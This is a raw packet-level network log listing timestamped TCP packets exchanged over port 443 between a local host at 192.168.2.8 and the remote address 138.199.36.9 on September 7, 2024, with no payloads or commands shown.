Sep 7, 2024 23:15:29.494586945 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.494618893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.494643927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.494662046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.495381117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.495397091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.495454073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.495467901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.495513916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.495949984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.495965958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.496025085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.496033907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.496095896 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.497064114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.497080088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.497133017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.497148037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.497240067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.497957945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.497973919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498034954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.498045921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498060942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498079062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.498084068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498095989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498110056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.498146057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.498974085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.498989105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.499034882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.499046087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.499140978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.499847889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.499866962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.499929905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.499939919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.499984026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.583080053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.583102942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.583211899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.583254099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.583921909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.583941936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.583985090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.583996058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.584007978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.584037066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.584357977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.584372997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.584430933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.584438086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.584861994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.585509062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.585547924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.585639954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.585649967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.585850000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.586222887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586241961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586278915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.586286068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586313963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.586329937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.586637974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586652994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586715937 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.586723089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.586815119 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.587385893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.587399006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.587472916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.587481976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.587618113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.588233948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.588247061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.588300943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.588310003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.588359118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.671751976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.671776056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.671900988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.671936035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672125101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.672478914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672501087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672566891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.672574043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672610998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.672885895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672902107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.672966957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.672975063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.673171043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.674227953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674245119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674302101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.674314022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674346924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.674365997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.674700022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674716949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674841881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.674849987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.674899101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.675242901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.675261021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.675354958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.675362110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.675576925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.675914049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.675935984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.675987005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.675997019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.676023006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.676039934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.676800013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.676820993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.676884890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.676898956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.677119017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.761439085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.761461973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.761529922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.761565924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.761666059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762049913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762064934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762129068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762137890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762231112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762387037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762401104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762460947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762466908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762679100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762871027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762887001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762928009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.762934923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.762964964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763004065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763261080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763282061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763309956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763317108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763355970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763371944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763705969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763721943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763797998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.763804913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.763880968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.764949083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.764962912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.765017986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.765028000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.765131950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.765690088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.765705109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.765758991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.765765905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.765933990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.849801064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.849821091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.849859953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.849899054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.849906921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.849931002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.849958897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.850864887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.850878000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.850944996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.850964069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851171017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851187944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851238966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.851247072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851700068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851712942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.851766109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.851773977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.852116108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.852134943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.852188110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.852195978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.853161097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.853173971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.853216887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.853224993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.853267908 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.854185104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.854197979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.854238033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.854243994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.854264975 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.894048929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.938191891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.938210964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.938285112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.938313961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.938335896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.938376904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.938396931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.938396931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.939153910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939167023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939220905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.939230919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939594984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939614058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939652920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.939660072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.939699888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.940201044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940215111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940344095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.940351963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940551043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940567970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940604925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.940613031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.940637112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.941790104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.941802979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.941900015 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.941914082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.942676067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.942694902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.942739010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.942748070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:29.942821980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:29.987821102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.047662020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047692060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047796965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.047827005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047888994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047909975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047940969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.047950983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047960997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.047971964 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.047977924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048002958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048011065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048043013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048072100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048197985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048216105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048269987 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048278093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048345089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048371077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048410892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048418999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.048453093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.048471928 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.049273014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.049293995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.049352884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.049360037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.049526930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.050179005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.050194025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.050313950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.050323963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.050998926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.055035114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.055056095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.055141926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.055167913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.055325985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136012077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136035919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136070013 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136106968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136142015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136159897 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136506081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136528015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136559010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136568069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136589050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136605978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136914015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136929035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.136979103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.136989117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137000084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137017965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137042046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137048006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137063980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137090921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137229919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137243032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137288094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137295008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137305021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137316942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137325048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137343884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137353897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.137372971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.137406111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.138746023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.138758898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.138807058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.138818979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.138843060 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.138865948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.148694992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.148711920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.148773909 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.148797035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.148972988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.224740982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.224761009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.224836111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.224870920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.224963903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.224987984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225001097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225063086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.225070953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225146055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.225358963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225372076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225419044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.225425959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225547075 CEST	49706	443	192.168.2.8	138.199.36.9
